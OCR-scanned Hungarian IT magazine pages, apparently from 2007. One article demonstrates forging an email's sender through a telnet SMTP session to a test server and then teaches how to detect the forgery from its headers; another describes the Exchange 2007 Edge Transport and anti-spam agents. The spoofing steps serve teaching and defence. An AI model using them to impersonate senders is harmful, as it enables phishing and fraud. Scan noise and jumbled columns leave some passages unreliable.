(=) Oszentsege ... Eleted nagy lehetosege

B Eleted nak_,,f Iehetusege Message (Plain Textl

w - ol WL _'jJ kA |mx J A w—¢ | K ¢ Sze 2007.

From: Oszentsege ¥VI Benedek romia papa Sent: Sze 2007. 10. 24. 21:23 Sze 2007.
To: Szo 2007.
(7

Subject: Eleted nagy lehetosege

Szo 2007
Cs 2007.
Cs 2007. 0

Kedves Baratom!!ll

Megbizhato forrasbol tudom, hogy labgomba ellen legjobb a PamPam labkoromlaklk.
Szivelyes udvozlettel,

XV Benedek

2. dbra. Hamisitott levél az Outlookban

NOVEMBER-DECEMBER

Ez roviden azt jelenti, hogy a szerver bar
kitdl elfogad minden kiilonosebb ellenérzés
nélkil tovabbitand levelet. Szerencsére ilyet
ma mar egyre nehezebb talalni.

De most, az elv megértése céljabol hasba
szdirtam a tesztszerveremet.

Tehit, timadjunk meg egy levelezdszervert:
telnet clackl.ankh-morpork 25

A 25-6s portot az SMTP-protokoll hasznal-
ja, példankban tulajdonképpen egy SMTP-
pdrostdncot, azaz sessiont szeretnék bemutat-
ni. SMTP-parancsokat adunk az SMTP-szer-
vernek, az pedig reagdlni fog ra.

Persze, el6szor bekoszoniink neki:
Helo Geza

Nyilvan lesz, akit zavarni fog, hogy 6 nem
Géza. Igazabol mindegy. Bar itt a sajat gé-
piink nevét kellene beirnunk, de nem na-

gyon szoktdk ezt ellendrizni a szerverek.

[rjuk be a feladot:
mail from: postmaster@ankh.morpork

Ez a cim nem véletleniil lett kivalasztva. A
levelezdszerverek dltalaban ugy vannak bedl-
litva, hogy a postmaster az isten, és a sajat do-
ménjitkbél szivesebben fogadjanak el levelet,
mint mashonnan.

A felado utan adjuk meg a cimzettet. Azt

mondja:

rept fo: rablo39@milkyway.universe
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Egy rendesen beallitott levelezdszerver leg-
késdbb ezen a ponton mondana azt, hogy 'ki-
vl tagasabb’.

Fontos: eddig a levél boritekjat toltoget
tik. A levélpapirra irashoz bele kell masz-
nunk a Data parancsba. Irjuk is be:

Data

Ekkor egy ugynevezett levélszerkesztd
tizemmodba keriiliink, amelybdl a *. karak-
ter begépelésével tudunk kilépni.

A levélpapiron szintén meg lehet adni egy

csomo értéket. Ilyeneket péld4ul, hogy:
subject: Eleted nagy lehetosege
Meg ilyeneket:
from: Oszentsege XVI Benedek romai papa

Es itt most alljunk meg egy kicsit! frtunk
egy feladot a boritékra (mail from:) és most
irtunk egyet a levélpapirra (from:) is. Melyik
lesz az igazi? Attol fugg.

A levél szallitdsa kozben a boritékra irt
cim jatszik, de amikor a levelezdkliens meg-
jeleniti a levelet, akkor mar a bels®, a levél-
papirra irt cim.

Pontosan ez az elsé szamu ok, amiért
virdgzik a spam. A most Osszerakott leve-
ltink teljesen ugy fog kinézni, mintha maga
Oszentsége adta volna fel.

Hogy miért 67 Mert a spammer altala-
ban igyekszik olyan tekintélyt allitani maga
mogé, akinek feltétel nélkiil hisznek az em-
berek.

A masik technika, amikor ugy szimulal-
nak megbizhatésdgot, hogy a suttyomban
feltelepiild rosszindulatti program a megfer-
tozott gépen lévod felhasznald cimlistajabol
szed ki véletlenszertien cimeket, és ezeket te-
szi meg feladonak, illetve cimzettnek.

Hab4r még cifrazhatnank a fejlécet, de
ennyi altaldban elég. Jojjon a szoveg! Irjuk

példaul azt, hogy

Kedves Bardtom! Megbizhatd forrdshdl tudom, hogy ldb-
gomba ellen a legjobb a PamPam labkaromlakk.
Szivélyes dvozlettel,

XVI. Benedek

Es akkor most joheta ..

A levél mindenesetre elment, mint az az
L. dbrdn is latszik.

A cimzett pedig mar olyan levelet fog lat-
ni, mint amilyet a 2. dbra mutat.

Ugye, teljesen élethtinek latszik?

A levél élvehoncoldsa
Jogos lehet a kérdés, hogyan lehet felismerni
egy ilyen hamisitott levelet? Ugy, hogy meg-
vizsgaljuk a levél fejlécét. Nem, nem azt a
sziirke részt a levél felsé harmaddban, hanem
a rejtett fejlécet.

A 3. dbran latszik, hol tudjuk elérni egy
Outlook-kliens esetén.

Most pedig nagy levegd, vizsgljuk meg a
technoblablat:

Received: from Moon.milkyway.universe (10.20.30.41) by earth.
milkyway.universe

(10.20.30.40) with Microsoft SMTP Server (TLS) id 8.0.685.24;
Wed, 24 Oct

2007 21:25:01 40200

Received: from clackl.ankh.morpork (192.168.201.30) by Moon.
milkyway.universe

(192.168.201.201) with Microsoft SMTP Server id 8.0.685.24;
Wed, 24 Oct 2007

21:24:18 +0200

Received: from Geza ([192.168.201.101]) by clackl.ankh.mor-
pork with Microsoft
SMTPSVC(6.0.3790.1830);
+0200

From: Oszentsege XVI Benedek romia papa

Subject: Eleted nagy lehetosege

BCC:

Return-Path: postmaster@ankh.morpork

Message-ID: <CLACKTI3zF1jbXHVfa300000001@clackl.
ankh.morpork>

X-OriginalArrivalTime: 24 Oct 2007 19:22:32.0215 (UTC) FILETI
ME=[39855A70:01C81673]

Date: Wed, 24 Oct 2007 21:22:32 40200

MIME-Version: 1.0

Content-Type: text/plain

Received-SPF: Fail (sarth.milkyway.universe: domain of does
not designate

10.20.30.41 os permitted sender) receiver=earth.milkyway.
universe;

client-ip=10.20.30.41; helo=RMoon.milkyway.universe;
Received-SPF: Fail (Moon.milkyway.universe: domain of does
not designate

192.168.201.30 as permitted sender) receiver=Moon.milky-
way.universe;

client-ip=192.168.201.30; helo=clackl.ankh.morpork;
X-MS-Exchange-Organization-SCL: 5
X-MS-Exchange-Organization-PCL: 2
X-MS-Exchange-Organization-Antispam-Report:
DV:3.3.4604.600

Wed, 24 Oct 2007 21:21:15

Nem, ez nem kinaiul van. Simén olvasha-
t6. Csak tudni kell, honnan kezdjtk el, és
merre kell haladnunk.

A levél utvonalanak visszafejtése a 'From’
sor feletti résszel indul - és hatulrol me-

gylink elore.

Received: from Geza ([192.168.201.101]) by clackl.ankh.mor-
pork with Microsoft
SMTPSV((6.0.3790.1830);
+0200

Wed, 24 Oct 2007 21:21:15

Ez az els6 ugras. Lathato, hogy az elso le-

velezdszerver, a clackl.ankh.morpork levelet

kapott a magat Geza néven azonosito, egyéb-
ként 192.168.201.101 IP cimt géprol. A levél
érkezési ideje 21 o6ra 21 perc.

Received: from clackl.ankh.morpork (192.168.201.30) by Moon.
milkyway.universe

(192.168.201.201) with Microsoft SMTP Server id 8.0.685.24;
Wed, 24 Oct 2007

21:24:18 +0200

A masodik ugrés. A fogado levelezészerver
a Moon.milkyway.universe szerver, a kiildo
a clackl.ankh.morpork. A levél atpasszolasi

ideje: 21:24.

Received: from Moon.milkyway.universe (10.20.30.41) by earth.
milkyway.universe

(10.20.30.40) with Microsoft SMTP Server (TLS) id 8.0.685.24;
Wed, 24 Oct

2007 21:25:01 +0200

Az utolsé ugrds. A cimzett postafidkja az
Earth.milkyway.universe szerveren van, a le-
vél a Moon.milkyway.universe szerverrdl ér-
kezett, méghozza 21:25-kor.

Type sconact o ind  E]

¥ [/ @|From | Subject

& Date: Today

Open
Print

Reply Ryt
pyed: Ugyis visszapattan
Nnna?

Reply to All
p| Forward
Follow Up + |change Uiified Messagng
| Mark as Unread
Categories

Find Al v

Create Rule...

i/
Junk E-mail »
K Delete

Move to Folder....

Elete
Osze
To:
Kedval 2] Options...
Megbizhato forrasbal tudom, hogy labgomba ellen legjobb @ PamPam labkoro
Szivelyes udvozlettel,

XVI Benedek

romia papa

Message Options X

Message settings Security

Sensitivity:

Tracking options

B

Delivery options

Oexpires after:  [1one

[contacts... ] |

[_categories... | |

Intemnet headers:

Close

3. dbra. gy jutunk el a levél fejlécéhez

Van ebben barhol vatikani szerver?
De ha nem akarunk ennyit nyomozni, a

gyors valaszt megtaldljuk a kovetkezd sorban:

Microsoft TechNet
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Return-Path: postmaster@ankh.morpork

Itt van az igazi felado.

Megcsiptitk a masodik okot arra, hogy
miért nehéz kiizdeni jelenleg a spam ellen.
Tegye fel a kezét az a rendszergazda, aki ter
mészetesnek tartja, hogy a felhasznaléi ma-
guktol ki fogjak talalni, hogyan kell egy levél
fejlécébol kinyerni az informaciokat? Tegye
fel a kezét az a rendszergazda, aki szivesen
vallalkozna arra, hogy megtanitja erre mind
a sok szdz alkalmazottat? Es akkor a tomér-
dek otthoni emberr6l nem is beszéltiink,
akiknek még rendszergazdajuk sincsen.

Semmibe sem kertilne barmelyik - hang-
stlyozom: barmelyik - levelezdkliensbe be-
lerakni egy olyan nyomégombot, ami rakat-
tintva felhaszndlobarat formaban mutatna
meg a fejléc informacisit. Milyen 4llomaso-

kon keresztiil jott a levél? Mikor volt az egyes

szervereken! Ki az igazi felado? De nincs. En

legaldbbis nem ismerek ilyen klienst.

Pedig van ott még szdmos egyéb érdekes-
ség is, vessiink csak egy pillantast az X me-
z6kre. Az e-mail felépitését az [T-szakma szab-
vanyai, az ugynevezett RFC-k irjak le (281,
2281, 2282). Az X mezdk kiviil esnek ezen a
szabvdnyon, mégis hasznosak.

A legegyszer(ibb, ha egy példan keresztiil
mutatjuk be, mik ezek.

Posta, csomag. Mit csindl a postas? Igen,
atveszi a csomagot, rafirkal valamit a tetejé-
re egy vastag filctollal, aztan felhajitja a kis-
kocsijara. Nemcsak a csomag, hanem az ido
is reptil - és mar meg is érkezik a csomagocs-
ka. Mit csindl a tuloldali postas? Elolvassa a
szabvanyos széveget, hozzaolvassa a filctollal
irt szoveget, és mindent tud - pedig a filc-
tollas széveg nem szabvinyos. De a megyé-
jikben van egy egyezség, hogy mit, hogyan
jelolnek.

Received-SPF: Fail (earth.milkyway.universe: domain of does
not designate

10.20.30.41 as permitted sender) receiver=earth.milkyway.
universe;

dlient-ip=10.20.30.41; helo=Moon.milkyway.universe;
Received-SPF: Fail (Moon.milkyway.universe: domain of does
not designate

192.168.201.30 as permitted sender) receiver=Moon.milky-
way.universe;

dlient-ip=192.168.201.30; helo=clackl.ankh.morpork;
X-MS-Exchange-Organization-SCL: 5
X-MS-Exchange-Organization-PCL: 2
X-MS-Exchange-Organization-Antispam-Report:
DV:3.3.4604.600

NOVEMBER-DECEMBER

Ezt a fejlécdarabot az el6z6 levél fejlécébol
kaptuk elo. Amiket itt litunk, azok mind a
spam elleni harc jegyében keriiltek bele a le-
vélbe. Mivel X mezd, igy azok a levelezdszerve-
rek, amelyek nem ismerik a konkrét mezoket,
nem is bantjak azokat. De amelyek megértik,

azok tudni fogjdk, hogy a levél ttvonalaba

keznek. Ez a vizsgalat elott eltavolit minden
Xemezot a levélbol - igy csak a tényleg valos,
altala bedllitott értékek lesznek a tovabbme-
no6 levélben.

Mint lathato, az e-mail hamisitdsa jelenleg
nem bonyolult. Igaz, mar alig van olyan iga-

zi SMTP-szerver a neten, amely 'open relay'

4| New Transport Rule

B Introduction
M Conditions

Exceptions

Step 1: Select exception(s] if necessany:

B Actions

[ Exceptions
1 Create Rule
1 Completion

N

O except when the text specific words appears in a message header

O except when the From address containg specific words

O except when the text specific words appears in any recipient address

O except when the text pattems appears in the subject

O except when the text pattems appears in the subject or the bady of the message
O except when the text pattems appears in a message header

O except when the From address containg test pattems

O except when the test pattems appears in any recipient address

O except with a spam confidence level [SCL that is greater than or equal to limit
O except when the size of any attachment is greater than or equal to limit
except when the messaage is from uzers inzide or outzide the arganization

Step 2: Edit the rule description by clicking an underlined walue:

4. dbra. Spamszird transzportszabdly a spammer cégnél

esé két szerver - a moon.milkyway.universe
és az earth.milkyway.universe - nem rendel-
keznek SPF-bejegyzéssekkel a DNS-ben, illet
ve a konkrét levél heurisztikus elemzések sze-
rinti SCL-értéke 5, PCL-értéke pedig 2.

Hogy ne csak a szerverek értsék:

Az SPF technikérol részletesebben is irunk

a magazin Edge Transport szerverrdl szolo

cikkében.

Az SCL sz¢6 szerint azt jelenti, hogy Spam

Confidence Level, azaz spamvaldszin(isé-

gi index. Minél magasabb, annal valoszi-

niibb, hogy a levél spam. A levelezdszer
vereken konfiguralni lehet, hogy egyes
értékekhez milyen akciokat rendeljenek

(karantén, eldobas stb.).

A PCL sz6 szerinti jelentése: Phishing

Confidence Level, azaz phishingvaloszi-

ntségi index. (Aki esetleg nem tudna, a

phishing az a technika, amikor egy valodi-

hoz kisértetiesen hasonlité kamuweblapra
irdnyitjak a gyanutlan dolgozot, és ott be-
kérik a jelszavat.)

Persze a spammerek ravaszok, és védekez-
nek 6riilt modra. Az X mezok ellen példaul
ugy, hogy mar eleve akkor, amikor hami-
sitjak a levelet, beleirnak kamu X-mezoket
is. Ez ellen az okos spamfilterszerverek egy

ugynevezett Header Firewall elemmel véde-

lenne - de ott van a tomérdek megfert6zott
zombigép, amelyekrél a tulajdonosuk nem is
tudja, hogy a rajta futé funny.exe valdjaban
egy SMTP-szerver. A harc folyik, kisérlet ren-
geteg van (példaul az SPF, amely azért nem
igazan terjed, mert senki sem meri eldobni
az SPF nélkiili levelet, vagy az az elv, hogy le-
gyen valami irgalmatlan minimadlis koltsége
az e-mailnek, amely az atlagcéget nem zavar-
ja, de a millivszam levelezé spammert igen),
de a spammerek mindig egy lépéssel a véde-
kezok elstt lesznek.

Ugyanis beszélhetiink arrél, hogy azért
koénny(i a spammerek dolga, mert az SMTP
protokoll olyan bénacska, amilyen. Nyilvan,
mert amikor kitalaltak, akkor senkinek sem
jutott eszébe, hogy az a tiz gép, amelyik hasz-
nilta, ne bizzon meg egymasban. Mara meg
mar annyira elterjedt, hogy képtelenség meg-
valtoztatni. Beszélhettink, de tudomasul kell
venniink, hogy a spam melegigya a legembe-
ribb tulajdonsagok keveréke: hiszékenység,
kozony, felelotlenség, ostobasig és mivelet-
lenség az egyik oldalon; kapzsisdg, félrement
értékrend a mésikon.

Sohasem fog megsz(inni.

Petrényi Jozsef
Exchange MVP, MCSE+M, MCITP
(petrenyi.jozsef@sao.hu) SAO-Synergon
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A KIDOBOEMBER

Egy korébbi cikkben mar a kopasz, kigyurt kidobéemberhez

hasonlitottuk az Exchange Server 2007 Edge Transport szerepkorét

— és a hasonlatra azéta sem érkezett frappdns cafolat.
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az, aki kint ¢l az utcdn. Pontosan ismeri, ki mennyire kemény csévé. Pontosan tudja,

ki mekkora pofonra van hitelesitve. Nem széplélek. Viselkedésében kissé hasonul is

a légkorhoz, amelyben él. Megbizoi sohasem lehetnek biztosak abban, hogy mennyi-
re dolgozik nekik, és mennyire fertzte meg az utcai vildg. Emiatt nem is latjik szivesen bent a
béarban. Addig j6, amig kint van, és nem engedi be a balhét - mikozben odabent békésen csa-
varodnak kromruadra a szérakoztatdipari alkalmazottak.

Nem tulzds, sz6 sincs rola. Csak a lengén 6ltozott holgyek helyett képzeljiik el a fénymasolo-
gépet, a vendégek helyett az irodai alkalmazottakat, pincér helyett meg a szervereket.

A f6nok... az mindenhol f6nok.

Azaz leforditva az informatika nyelvére: a cégnél pezseg az élet, az alkalmazottak felhasz-
naljak a szamitogépeket (néha ténylegesen is), idonként beszélgetnek, de inkabb levelezgetnek
egymdssal, na meg a kiilvildggal. Teszik ezt abban a biztos tudatban, hogy a levelezés mindig
miitkodik - és mindig jol mtkodik. Pedig dehogy. A levelezés egyre kevésbé miikodik jol, leg-
alabbis a levelezdszerverek iizemeltet6i egyre elszdntabban gyepaljak a biteket, hogy ne legyen
sem fennakadds, sem rosszindulatu betorés.

Nyilvan senki szimara sem tjdonsag, hogy az igazi nagy haboru a cég hatarvonalan zajlik.
Ott kell megakaddlyozniuk a rendszergazddknak, hogy a karos tartalmak bejussanak, a bizal-
mas informaciok pedig kijussanak. Az sem lehet senki szimdara ujdonsag, hogy erre a célra mar
évek 6ta vannak megoldasok, mindenféle smarthostok, felturbozott célhardverek képében,

amelyeknek stabil helytik a cég demilitarizalt zénajaban van.

Szinkronban

Erre a piacra lépett most be a Microsoft. Egy altalanos Exchange alapu levelezési rendszer
olyan cimtarra épiil, amelyben szinte minden informacio megtaldlhaté egy cég Microsoft ala-
pu informatikajarol. Nyilvan logikus 1épés volt ezt a rendszert egy sajat alkalmazottal védeni
- egy olyan alkalmazottal, aki ismeri a kozos nyelvet a bentiekkel.

Ugy is fogalmazhatnék: ahogy az Edge Transport funkcié egytttmtikodik, nem muakadik
ugy egyiitt senki. Es ez az a tulajdonsdg, amely életképessé teszi ezt a viszonylag késén meg-
jelend szereplot.

Persze jogos lehet a felvetés: nem tul veszélyes-e, ha az Edge Transportszerver annyi min-
dent tud a bels6 rendszerrdl? Ha része a cimtarnak, akkor rajta keresztiil a cimtdr is feltorhe-
t6. Ne feledjiik el, az ¢ helye is a DMZ-ben van. Nos, itt egy fura megoldas sziiletett: az Edge
Transportszerver része ugyan az Exchange-organizdcionak, de nem része a cimtarnak. Ugye,
emléksziink ra: az organizacio a cimtarra épil.

Mintha itt lenne valami ellentmondas.

Oldjuk fel! Cimtarbol nemcsak egy létezik. Van a nagy cimtér, az Active Directory. Es van
egy kisebb cimtaracska, az ADAM (ujabban AD LDS). Miikédéstiket tekintve meglehetésen
hasonloak: tulajdonképpen mindketté egy ESE adatbdzis alapokon nyugvé LDAP-szerver.
Nyilvan ezer kiilénbség is van, de ebbe most ne menjiink bele. A lényeg az, hogy habar két kii-

lonbozé LDAP-szerverrdl van szo, remekiil
képesek egytittmikodni.

Es ez a trikkje az Edge Transportszer-
vernek is. Egy ugynevezett EdgeSync folya-
maton keresztiil be tudja jegyezni magat az
AD-ba tgy, mintha rendes benti Exchange-
szerver lenne - illetve at tudja szippantani
a feltétlentil sziikséges informaciokat a sajat
ADAM-cimtaraba, anélkiil, hogy barmilyen
kritikus informaciot tarolna a bels¢ rend-
szerrdl. Erezhetd, hogy ez a megoldas jobban
fog passzolni egy miikodo levelezési rendszer-

hez - de persze ez 5Gnmagiban nem elég.

Els6 lepések — telepités, bedllitas

Az Edge Transportszervert telepiteni fel-
hotlen 6rom. Természetesen kellenek hozza
a szokasos Exchange-elokovetelmények (az
123-brigad: Powershelll, dotnet2 és MMC3),
meg egész biztosan kétszer kell nekifutni a te-
lepitésnek - az elsé ugyis csak azért lesz, hogy
megmondja, mi hidnyzik még neki. Persze
preciz emberek lefuttathatjak telepités elott
az Exchange Best Practice Analyzert - de an-
nak nincs semmi sportértéke.

Széval fent van. Azt hinnénk, hogy miiko-
dik is. Naiv elképzelés. Igaz, fel van szerelve
egy komoly levélpucolo készlettel, de alap-
helyzetben nem fog levelet fogadni, és egyéb-
ként sem lenne fogalma arrol, hogy hova
kiildje tovabb. Tulajdonképpen mindenféle
send/receive szaballyal ¢letre lehetne lehelni,
de sokkal célszer(ibb beinditani az EdgeSync
folyamatot - akkor ugyanis ezek a szabalyok
automatikusan létrejonnek.

A levél routoldsa
De még most sem a folyamat leirasa kovet

kezik. Roviden tekintsitk 4t, hogyan is mu-

Microsoft TechNet
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kodik a levél routoldsa egy Exchange2007
rendszerben. Routing group, ugye az nincs.
Link State tabla, routing master funkcio
szintén nem létezik. A routolds alapegysége
az AD-telephely, a routolds matekozasahoz
szitkséges sulyértékek az AD site-konnekto-
raihoz rendelt értékek. (De létezik kiilon Ex-
change-specifikus érték is, ha el akarunk tér-
ni a cimtarreplikaciohoz hasznalt értéktol.)
Bridgehead szerver: a klasszikus értelemben
szintén nincs, mivel a levelek sem szerverrdl
szerverre pattogassal kozlekednek.

Miel6tt egy levél elindulna a vandorutjara,
a Hub Transport szerver kiszamolja, hova is
kellene eljutnia, majd egy ugynevezett direct
relay segitségével kozvetlentl a megcélzott
szerverbe csattan be egy sessionnel.

Természetesen ez a megcélzott szerver nem
feltétlentil a megcélzott Mailbox-szerverhez
legkozelebb esé Hub Transport (HTR) szer-
ver, ha utba esik egy explicit konnektor, ak-
kor annak a rogzitési pontjan bemdszik a

konnektorba, és a kijarati pontjan kimaszik.

% ALitive Director Domaing and Trusts

Active Directory Sites and Services [earth.milkyway., Remote Domains

Journaling

| Accepted Domains |

E-mail Address Policies |
Edge Subscriptions

Transport Rules

Send Connectors Anti-spam

g Active Directory Users and Computers [sarth. milkywe

&) ADSI Edit oA

I Status I

g Device Manager on local computer

2, DNS
@ Evwent Viewer [Local]

HEA Microsoft Exchange
=] Organization Configuration
& Mailbox
Client Access
| %4 Hub Transport
4 Unified Messaging
_ﬂ Senver Configuration
Hailbioe:
Client Access
1= Hub Transport
2 Unified Messaging
5 Recipient Configuration
i Toolbox
Local Computer Policy
_=—j Detault Domain Controllers Policy [earth. milkyway. uni
::j' Detault Diomain Palicy [earth.milkywaw. universe] Polic
Services [Local)
HEE] WiINS

LA dnkhmorpoark

rﬂ EdgeSync - Default-First-Site-M ame ta Intemet
- A EdgeSyne - Inbound to DefaultFirst-Site-Name

EdgeSync - Default-First-Site-Name to Internet Properties

Eenera\l Addiess Space  Metwork |‘5nurce Sarvell

Enabled
Enabled
Enabled

Select how to send mail with this connector:
£ Use domain name: systern [DNS) """ records to route mail automatically
™| Enable Domait Security (Mutuslifuth TLS)

& {Hiute mal thiough the following smart hosts: &

e idd 7 Edt K

Smart host

Smart host authentication:
Mone

Change.

™ Use the Extenal DNS Lookup settings on the tansport server

2. Gbra. Edge Transport-szerverek a telephelyeken

Mondanom sem kell, nem csak szallitasi
konnektorok jonnek létre a szinkronizacios
folyamatban, minden olyan informacio at

kertil az ADAM:-be, amely a routolashoz és a

Es akkor nézzitk végre, technikailag ho-

gyan is torténik egy EdgeSync megvalositasal

Az EdgeSync mikodése

Ilyen explicit konnektorok jonnek létre az | levelek pontos kezeléséhez kell: = Erdemes meggydzédniink, hogy a belsd
tlizfalon nyitva van-e befelé¢ a 25-6s port,
illetve kifel¢ a 25, 50389, 50636 portok
az Edge és a HUB Transport szerverek ko-
zott. (Ez utdbbiak a secure LDAP miatt
kellenek.)

A New-EdgeSubscription cmdlettel legyér-

EdgeSync soran. = Send connector: konfiguracios adatok;

Ekkor ugyanis az Edge Transportszerve- | = Accepted domains;
riinket hozzakapcsoljuk egy AD-telephelyhez, | = Remote domains;
Message classifications;
Safe Senders-listak;

Recipient-adatok;

fuiggetleniil attol, hogy a gép még csak nemis | =

tartomdnyi tag. Az Exchange-organizici6 az

adott telephelyhez tartozénak fogja tekin-

teni, ugyanis a cimtarban tunk egy xmlf4jlt az Edge Transportszer-

veren. (Ebben a fijlban lesz az a credential,
amelyik beleirhat az ADAM-adatbazisba.)

Az xmlf4jlt USB-kulcson atvissziik, és im-

létrejon egy ExchServerSite

érték a szerver szimdra -
marpedig amikor a routo-
las kalkulalodik, akkor a
szerverek a cimtarhoz for
dulnak.

Ennek vannak persze ko-

portaljuk valamelyik HUB Transport-szer-

veren, akir a New-EdgeSubscription pa-

rancs segitségével, vagy akar a grafikus
feltiletrol.

vetkezményei is: s A startedgesynchronization parancs ki-

= Egy Edge Transportszer- U addsaval megsporolunk magunknak pér

vert csak egy telephely- EDGE-B-01  EDGE-A-01 ora idegeskedést (bar magatol is lefutna

hez lehet hozzarendelni. valamikor).
Masik  telephelyhez uj
Edge
kell, de siman mehet
ugyanabba a DMZ-be.

= Amikor

Edge Transportszervert,

Mint emlitettem, a send/receive konnek-

Transport-szerver torok automatikusan létrejonnek, méghozza

HUB A 01 HUB A 02

olyan logika szerint, hogy a kifelé mend le-

velek az Edge Transportszerverrdl induld -

beépitjik az 1. dbra. Automatikusan létrejové EdgeSync-konnektorok outbound - konnektorba bujnak bele, amely
DNS-névfeloldds alapjan szorja ki a leveleket
TLS Send- és Receive Domain Secure-lis- | az internetre. A befelé jovo levelek szintén az
tak;

Internal SMTP Servers-listak;

az AD-telephely - ahové az Edge Transport-

akkor rogztilnek a kapcsolatai a telephely

Exchange HTR-szervereivel. Amennyiben Edge Transportszerverre leszurt - inbound

aj HTR-szerver kertil a telephelyre, nincs - konnektorba bujnak bele, a konnektor ki-

mod kiterjeszteni ra a szinkronizaciot: gya- menete pedig... barmi, ami széba johet. Igen,

korlatilag le kell bontani az EdgeSyncet, és szerver feliratkozott - HTReszervereinek | ez egy uj terminoldgia, killon jelolés is van

ujra kell futtatni. list4ja. rd, igy néz ki: '-\ Jelen esetben ez azt jelenti,

NOVEMBER-DECEMBER
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hogy minden olyan HTR-szerver, amely azon
a telephelyen van, ahové az Edge Transport
szervert becsatlakoztattuk.

Amikor az egyes szerepkorokkel ismerked-
tink (http://tinyurl.com/ygqxwcu), elolvas-
hattuk, hogy a szillitasért felelds szerverek
mindegyikének kettds feladata van: a HUB
Transport-szerverek a céges hazirend betarta-
tasdval (szabdlyok, journaling, managed fol-
ders) foglalkoznak a szillitas mellett, az Edge
Transportszerverek masik fontos feladata vi-
szont a levelezési higiénia betartatdsa. (Most

tekintsiink el attol, hogy a hatarvonalak egy-

Transport Agentek,
azaz szdllitdsi tgynokok

Beépitett

= Transport Rule Agent

= Edge Rule Agent

= Journaling Agent

= Rewrite Agent

= £s még sokan mdsok, leginkdbb spam-adjusztd-
|ds célidbol

Kilsé gydrtok iigynokei; itt Iéphetnek be

= Akiils6 viruskeres6-gydrtok

= AkilsG spamfilter-gydrtok

= Lacika, a fdndk unokadccse a sajdt levéllevdlogatd
szoftverével

altalan nem tihegyes redisz-tollal lettek meg-
huizva, mindkét szerver - korlatozott funk-
cionalitassal ugyan, de - bele tud piszkalni a
masik feladatkorébe.)

A szdllitdsi igynokok
Nézziik akkor a levélpucoldst.

Illetve, még ne nézzitk - tisztazni kell
ugyanis egy strukturat: az ugynevezett szal-
litasi Gigynokok strukturdjit. Ezek azok az
ligynokok, amelyek Tie-vaddsz kabinjukban
cikdznak fel-ald az SMTP-engine koriil, és
amint olyan esemény torténik, ami felingerli
Sket, azonnal lecsapnak.

Azaz lithato, hogy a szallitasért felelds tigy-
nokok és a higiéniaért felelds tigynokok ugyan-
abba a struktardba éptilnek be, és ugyanugy
is makodnek. Es ugyanez az infrastruktira
all a kulso gyartok rendelkezésére is.

Akkor most mar nézhetjiik az Edge Trans-
portszerver tigyndkhadseregét (tablazat)!

Mindegyiknek van egy remek folyamat-
abrdja, hogy pontosan hogyan, milyen sza-
bélyok alapjan miikédik. Ebbe most nem
mennék bele, hiszen a témirdl mar megje-
lent korabban egy részletes cikk a magazin-
ban (http://tinyurl.com/2eqgay). Erdemes vi-
szont kiemelni a szereploket - és elmesélni
par érdekességet a viselt dolgaikrol.

Connection filtering. Ez a tipikus IP
Allow list/IP Block list alapt sztirés. Sajat

T eTTToT

vl .
= -

File  Action  Wiew Help

¢ BE 26

mE

|23 Microsoft Exchange
i. Edge Transpart
&5 Toolbox

? Create Filter

| Actions

Edge Transport

Hame

i
J Wersion it

faMnmn

Ll

Edge Transport

Refresh
EP Help

Wersion 8.0 [Build 685 28

Moon

|

,ﬂ Moon

t@ Dizable Anti-sp...
"% New Receive

Az iigynok neve Mire harap?

OnConnectEvent,
OnMailCommand,
OnReptCommand,
OnEndOfHeaders

OnReptCommand,
OnEndOfHeaders
OnEndOfData

OnEndOfData

OnEndOfHeaders
OnMailCommand,
OnEndOfHeaders
OnReptCommand

OnEndOfHeaders,
OnEndOfData,
OnReject,
OnRsetCommand,
OnDisconnectEvent

OnEndOfData

Address Rewriting Outbound Agent  OnReptCommand,
OnEndOfHeaders

Connection Filtering Agent

Address Rewriting Inbound Agent

Edge Rule Agent
Content Filter Agent
Sender ID Agent
Sender Filter Agent

Recipient Filter Agent
Protocol Analysis Agent

Attachment Filtering Agent

magunk is szerkeszthetjitk a listdkat, de els-
fizethetiink listaszolgaltatok listdira (RBL) is.

Content Filter Agent. ,Aki” az ugyneve-
zett SCL-értéket (Spam Confidence Level)
belevési a levélbe. Van leanykori neve is, va-
lamikor ugy hivtak, hogy Intelligent Message
Filter (IMF). Ebb¢l kifolyélag, mint azt meg-
szokhattuk, hétpecsétes titok, mi alapjan sza-
molja ki az SCL-értéket. Annyit lehet tud-
ni réla, hogy statisztikai alapon mekodd
értékeléssel mindsiti a leveleket. Bizzunk a
Microsoft Research-ben. Egyébként a minta-
frissitéseket is ok kiildik.

Azért ne érezzitk ugy, hogy minket teljesen
kihagytak mindenbdl. Ezen a sztirén llitha-
tunk be olyasmit, hogy 'megengedett kifejezé-
sek listdja’, illetve 'blokkolt kifejezések listaja’ -
és itt van lehet6ség szerkeszteni is mindkett6t.

Fontos tisztazni a szerepeket: az Edge-szer-

ver csak belerakja ezeket az értékeket a levél

Send Connectors ] Tranzport Fules ] Accepted Domains ]

Anti-spam

3 Mew Send Co...
i fejlécébe, mast nem csinal. Majd a Mailbox-

Receive Connectors Mew Transport

Featue szerver lesz az, aki végiil eldonti, hogy ez alap-
187 Content Filtering

157 1P llow List

[S1P allows List Providers
(S|P Block List

[571P Block List Providers
&' Recipient Filtering

(&7 Sender Filtering

15 Sender ID

(&7 Sender Reputation

[ Status | 1 Mew Accepted...
Enabled

Enabled Properties
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled
Enabled

jan sima levél lesz a kiildeménybol vagy levél-

Content Filteting szemét. Még egy érdekesség: ez a sz(ird képes

(@ Disable
Froperties

E2 Help

lelkesen egyiittmiikddni az Outlook-kliensek-
kel. Egyfelol képes érzékelni az Outlook 4ltal
a levélbe rejtett 'Outlook E-mail Postmark
Validation’ jelzéseket, és az ilyen levelek SCL-

értékeit automatikusan alacsonyra veszi. Mas-

felsl a Safelist Aggregation komponens képes

3. dbra. Antispam tigyndkak Osszegyjteni a kliensek 4ltal biztonsagosnak
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%] CACTam
File  Actic
-
T Mierosal

General Providers | Exceptions | Add IP Block

Pravider name:

=007
x|

List Provider

. =1

Block messages from senders listed at the following
deadd L

Provider name

2 Edg
i Too

DMS suffix

Lockup domain:

]

Retum status codes:

" Match any retun code

o i Match specific mask and responses: |

Match ta the following mask:

1

Match any of the following responses:

[
o

by a provider.

Cancel

oK

Determine the emor message retumed when a sender iz blocked  Ermor Messages

Cancel

I

l

4. dbra. IP Block listaszolgdltaté hozzdaddsa

mindsitett feladdk (Safe Senders List) cimeit
- és az ezekrol a cimekrol érkezd levelek min-
denféle céco nélkiil jutnak be a szervezetbe.
